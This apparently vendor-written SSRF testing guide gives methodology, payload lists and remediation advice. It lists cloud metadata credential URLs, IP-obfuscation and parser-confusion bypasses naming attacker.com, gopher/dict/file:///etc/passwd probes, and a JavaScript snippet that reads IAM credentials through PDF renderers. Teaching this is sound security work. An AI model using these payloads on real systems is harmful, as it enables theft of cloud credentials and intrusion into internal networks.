SSRF Testing: How to Find Server-Side Request Forgery (OWASP A10)
Server-Side Request Forgery (SSRF) made OWASP's Top 10 in 2021 as a standalone category — the first new addition in years. Its inclusion wasn't theoretical. SSRF had become one of the most consequential vulnerability classes in cloud-hosted applications, enabling attackers to pivot from a public-facing application directly into internal infrastructure, cloud metadata services, and secrets management systems.
The core mechanic is straightforward: the application makes a server-side HTTP request to a URL that an attacker controls. Instead of pointing to a legitimate external service, the attacker points it at an internal resource — the AWS instance metadata endpoint, an internal API, a database management interface — and the application helpfully fetches it and often returns the content.
This guide covers how SSRF works in practice, how to find it during testing, and the specific cloud-era patterns that make it so dangerous.
How SSRF Works
Any feature that makes a server-side request based on user-supplied input is a potential SSRF surface. Common vectors include:
The Cloud Metadata Endpoint
SSRF is especially dangerous in cloud environments because of the Instance Metadata Service (IMDS) — an internal HTTP endpoint that every cloud VM can reach at a fixed IP address. This service provides configuration data, instance identity, and most critically: temporary IAM credentials for the instance's attached role.
The endpoints you want to test for accessibility via SSRF:
# AWS EC2 Instance Metadata Service (IMDSv1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data/
# AWS IMDSv2 requires a PUT token request first (more resistant to SSRF)
# But IMDSv1 is still common
# Google Cloud Platform
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Requires: Metadata-Flavor: Google header (sometimes bypassable)
# Azure Instance Metadata Service
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=...
# Requires: Metadata: true header (sometimes bypassable)
Retrieving IAM credentials via SSRF gives an attacker the same permissions as the application's cloud role — which in misconfigured environments means reading from S3, calling Lambda functions, accessing RDS, or even lateral movement into other services.
Testing Methodology
Step 1: Find all URL-consuming parameters
Systematically enumerate every parameter that could contain a URL. Look for:
- Parameters named
url,uri,href,src,source,redirect,callback,webhook,endpoint,target,image_url,avatar_url - File import features that accept a URL instead of a direct upload
- Any form that asks you to "enter a URL" for any reason
- API endpoints that accept webhook or callback configurations
- Integration settings that specify external service endpoints
Step 2: Probe for basic SSRF
For each candidate parameter, test whether the server will fetch an internal IP address. Use an out-of-band detection service (Burp Collaborator, interactsh, or a simple netcat listener on a VPS) to detect blind SSRF — cases where the server makes the request but doesn't return the content.
# Direct internal IP probes
http://127.0.0.1/
http://127.0.0.1:22/
http://127.0.0.1:3306/
http://localhost/
http://0.0.0.0/
http://[::1]/
# Cloud metadata (primary SSRF target)
http://169.254.169.254/latest/meta-data/
# Common internal service ports
http://127.0.0.1:8080/
http://127.0.0.1:8443/
http://127.0.0.1:9200/ # Elasticsearch
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:27017/ # MongoDB
http://127.0.0.1:5984/ # CouchDB
# Out-of-band detection (blind SSRF)
http://your-interactsh-subdomain.oast.fun/
http://your-burp-collaborator.burpcollaborator.net/
Step 3: Bypass SSRF filters
Applications often implement allowlists or blocklists to prevent SSRF. These are frequently bypassable. Common techniques:
# IP address obfuscation
http://0177.0.0.1/ # Octal notation for 127.0.0.1
http://2130706433/ # Decimal notation for 127.0.0.1
http://0x7f000001/ # Hex notation for 127.0.0.1
http://127.1/ # Abbreviated form
http://127.0.1/ # Alternative shortened form
# IPv6
http://[::1]/
http://[0000::1]/
# DNS rebinding (if the filter checks DNS at request time)
# Use a service that resolves to 127.0.0.1 after an initial legitimate resolution
# Tools: dns-rebind.net, singularity of origin
# URL parser confusion
http://attacker.com@169.254.169.254/
http://169.254.169.254#@attacker.com/
http://attacker.com/..;/internal-service/
# Protocol abuse
dict://127.0.0.1:6379/info # Redis via DICT protocol
gopher://127.0.0.1:25/_EHLO # SMTP via Gopher
file:///etc/passwd # Local file access
Step 4: Test for blind SSRF
Many SSRF vulnerabilities are "blind" — the server makes the request but doesn't return the response to you. These are still exploitable (they enable port scanning, service fingerprinting, and cloud metadata exfiltration if the data ends up in logs or error messages) but require out-of-band detection.
Set up an interactsh listener and probe every URL-consuming parameter:
# interactsh — open-source Burp Collaborator alternative
interactsh-client
# The client gives you a subdomain like abc123.interactsh.com
# Inject it into every suspected SSRF parameter:
# image_url=http://abc123.interactsh.com/ssrf-test
# webhook_url=https://abc123.interactsh.com/webhook-test
# Monitor the interactsh dashboard for DNS lookups and HTTP requests
# Even a DNS lookup confirms that the parameter reaches the network
A DNS lookup to your out-of-band domain confirms the server is making a request based on your input. An HTTP request confirms SSRF. Now you have a parameter to test further for internal resource access.
Step 5: Probe internal infrastructure
Once you've confirmed SSRF, use the vulnerability to map the internal network. The standard approach is to iterate through common ports on internal IPs and observe differences in response time, response body, or error messages:
# Port scanning via SSRF (observe timing differences)
# Open ports: fast response or content returned
# Closed ports: connection refused, fast
# Filtered ports: timeout, slow
# Internal subnet probing — try common internal IP ranges
http://10.0.0.1/
http://10.0.0.254/
http://172.16.0.1/
http://192.168.0.1/
http://192.168.1.1/
# Common internal service paths once you find an active host
http://10.0.0.50:8080/admin
http://10.0.0.50:9200/_cluster/health # Elasticsearch
http://10.0.0.50:5601/ # Kibana
SSRF in Common Frameworks and Patterns
PDF generators
Headless browser-based PDF generators (wkhtmltopdf, Puppeteer, Chromium) execute JavaScript when rendering HTML. If the application generates a PDF from user-supplied HTML, inject an SSRF probe:
<script>
var x = new XMLHttpRequest();
x.open('GET', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', false);
x.send();
document.write(x.responseText);
</script>
<!-- Or via CSS / img src -->
<img src="http://169.254.169.254/latest/meta-data/">
Webhooks
Webhook configurations let users specify a URL that the server will call when events occur. This is an asynchronous SSRF vector — you configure the webhook URL, trigger an event, and the server calls your specified URL. Test with an out-of-band destination first to confirm the webhook fires, then probe for internal services.
Server-Side Template Injection → SSRF
SSTI vulnerabilities in template engines (Jinja2, Twig, Freemarker) can often be chained to SSRF. Once you have code execution via the template engine, making HTTP requests to internal services is trivial.
Cloud-Specific SSRF Scenarios
| Target | URL | What you get |
|---|---|---|
| AWS EC2 credentials | http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE |
Temporary IAM credentials (AccessKeyId, SecretAccessKey, Token) |
| AWS user data | http://169.254.169.254/latest/user-data/ |
Launch scripts, often containing secrets or configuration |
| GCP service account token | http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token |
OAuth2 access token for the attached service account |
| GCP project metadata | http://metadata.google.internal/computeMetadata/v1/project/ |
Project ID, numeric project number, custom metadata |
| Azure IMDS identity token | http://169.254.169.254/metadata/identity/oauth2/token |
Managed identity access token for Azure resources |
| ECS task credentials | http://169.254.170.2/v2/credentials/CREDENTIAL_ID |
Task role credentials — works inside ECS containers |
What Automated Scanners Catch
| SSRF pattern | Automated detection | Notes |
|---|---|---|
| Reflective SSRF (response returned) | Good | Scanners probe for localhost and metadata IPs; response content confirms the finding |
| Blind SSRF with OOB detection | Good | Scanners that integrate with Collaborator/interactsh can detect blind SSRF via DNS |
| Cloud metadata access (AWS/GCP/Azure) | Good | Metadata IPs are well-known; scanners probe them explicitly |
| SSRF via file URL scheme | Moderate | file:///etc/passwd probes work if the application reflects content |
| SSRF in webhook/callback fields | Moderate | Requires the scanner to also trigger the event that fires the webhook |
| SSRF via PDF/headless browser | Limited | Requires injecting HTML/JS and triggering a render — complex multi-step flow |
| DNS rebinding | Limited | Timing-dependent and requires infrastructure; rarely automated |
| Internal port scanning via SSRF | Limited | Scanners find the SSRF but rarely chain it to full port enumeration automatically |
SSRF Testing Checklist
- Enumerate every parameter that accepts a URL — including webhook configs, callback endpoints, and import-from-URL features
- Test direct localhost probes:
http://127.0.0.1/,http://localhost/,http://[::1]/ - Probe AWS/GCP/Azure metadata endpoints:
http://169.254.169.254/latest/meta-data/ - Set up out-of-band detection (Burp Collaborator or interactsh) for blind SSRF detection
- Test IP obfuscation bypasses: octal, hex, decimal, abbreviated forms
- Test for PDF generator and headless browser SSRF via injected HTML/JavaScript
- Probe common internal service ports once SSRF is confirmed: Redis (6379), Elasticsearch (9200), MongoDB (27017)
- Test webhook configuration fields — set the webhook URL to a probe endpoint and trigger the relevant event
- Check whether the application makes requests on your behalf during OAuth flows (request_token calls, redirect handling)
- Test
file://protocol for local file access in addition tohttp://
What Good Remediation Looks Like
SSRF prevention requires a defense-in-depth approach. No single control is sufficient because each can be bypassed independently.
- Allowlist outbound destinations — if your application only needs to call specific external services (a payment gateway, a webhook destination), allowlist those specific domains and block everything else. Allowlists are far more effective than blocklists.
- Validate and resolve URLs before fetching — resolve the URL to an IP address first and verify the IP is not in private/reserved ranges (RFC 1918, 169.254.0.0/16, ::1, etc.). Reject requests to private IPs explicitly.
- Use IMDSv2 (AWS) or equivalent on cloud instances — IMDSv2 requires a session-oriented PUT request to obtain a token before querying metadata, which makes basic SSRF exploits significantly harder (though not impossible).
- Separate the fetching service — run URL fetching in a dedicated microservice with no IAM role, no access to internal services, and no network route to the metadata endpoint. This limits the blast radius when SSRF exists.
- Never return raw fetched content to users — if the application must fetch a URL, process and sanitize the response before returning it. Don't reflect raw HTTP responses directly to clients.
- Network segmentation — ensure the application server has no network route to internal-only services. The metadata service is always reachable from EC2, but internal databases and management interfaces should be on separate network segments.
Ironimo tests for SSRF across your application's URL-consuming endpoints — webhook configurations, file import features, PDF generators, and API parameters — using the same Kali Linux toolset professional pentesters run against production applications.
Scans include out-of-band detection for blind SSRF and probe cloud metadata endpoints to assess the real-world impact on your infrastructure.
Start free scan